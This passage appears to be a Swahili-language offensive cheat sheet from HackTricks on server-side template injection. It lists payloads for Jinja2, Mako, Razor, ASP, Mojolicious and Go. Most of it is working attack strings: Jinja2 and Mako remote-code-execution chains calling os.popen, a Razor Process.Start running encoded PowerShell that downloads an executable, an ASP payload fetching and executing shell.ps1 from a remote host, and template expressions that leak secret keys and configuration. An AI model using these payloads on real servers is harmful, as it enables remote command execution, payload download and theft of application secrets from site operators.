${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Maelezo zaidi
Jinja2 (Python)
Jinja2 ni injini kamili ya templeti kwa Python. Inaunga mkono unicode kamili, mazingira ya utekelezaji yaliyotengenezwa kwa usalama, hutumiwa sana na leseni ya BSD.
{{7*7}} = Kosa
${7*7} = ${7*7}
{{foobar}} Hakuna kitu
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Muundo wa Template
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE isiyo tegemezi na __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Maelezo zaidi kuhusu jinsi ya kutumia Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Payloads nyingine katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Maelezo zaidi
Razor (.Net)
@(2+2) <= Mafanikio
@() <= Mafanikio
@("{{code}}") <= Mafanikio
@ <= Mafanikio
@{} <= KOSA!
@{ <= KOSA!
@(1+2)
@( //Msimbo wa C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");
Mbinu ya .NET
ya System.Diagnostics.Process.Start
inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo na kasoro katika https://github.com/cnotin/RazorVulnerableApp
Maelezo zaidi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Hakuna kitu<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Maelezo Zaidi
Mojolicious (Perl)
Hata kama ni perl inatumia vitambulisho kama ERB katika Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Kosa
<%= perl code %>
<% perl code %>
SSTI katika GO
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa na mizigo maalum:
{{ . }}
: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa yaPassword
kimepita,{{ .Password }}
inaweza kuifunua.{{printf "%s" "ssti" }}
: Inatarajiwa kuonyesha mfuatano "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Mizigo hii inapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go hapa.
Udanganyifu wa XSS
Kwa pakiti ya text/template
, XSS inaweza kuwa rahisi kwa kuingiza mizigo moja kwa moja. Kinyume chake, pakiti ya html/template
inakata jibu ili kuzuia hili (kwa mfano, {{"<script>alert(1)</script>"}}
inatoa <script>alert(1)</script>
). Walakini, ufafanuzi wa templeti na wito katika Go unaweza kuepuka usimbaji huu: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Udanganyifu wa RCE
Udanganyifu wa RCE unatofautiana sana kati ya html/template
na text/template
. Moduli ya text/template
inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya "call"), jambo ambalo haliruhusiwi katika html/template
. Nyaraka kwa moduli hizi zinapatikana hapa kwa html/template na hapa kwa text/template.
Kwa RCE kupitia SSTI katika Go, njia za vitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina njia ya System
inayotekeleza amri, inaweza kutumiwa kama {{ .System "ls" }}
. Kupata msimbo wa chanzo mara nyingi ni muhimu kwa kudanganya hili, kama katika mfano uliotolewa:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Maelezo zaidi
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Mbinu Zaidi za Uvamizi
Angalia sehemu nyingine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa mbinu zaidi za uvamizi. Pia unaweza kupata habari za vitambulisho vya kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
Msaada Husika
Ikiwa unadhani inaweza kuwa na manufaa, soma:
Zana
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Orodha ya Kugundua Kwa Nguvu
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Zoezi na Marejeleo
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa malengo ya kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
{% embed url="https://www.rootedcon.com/" %}
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.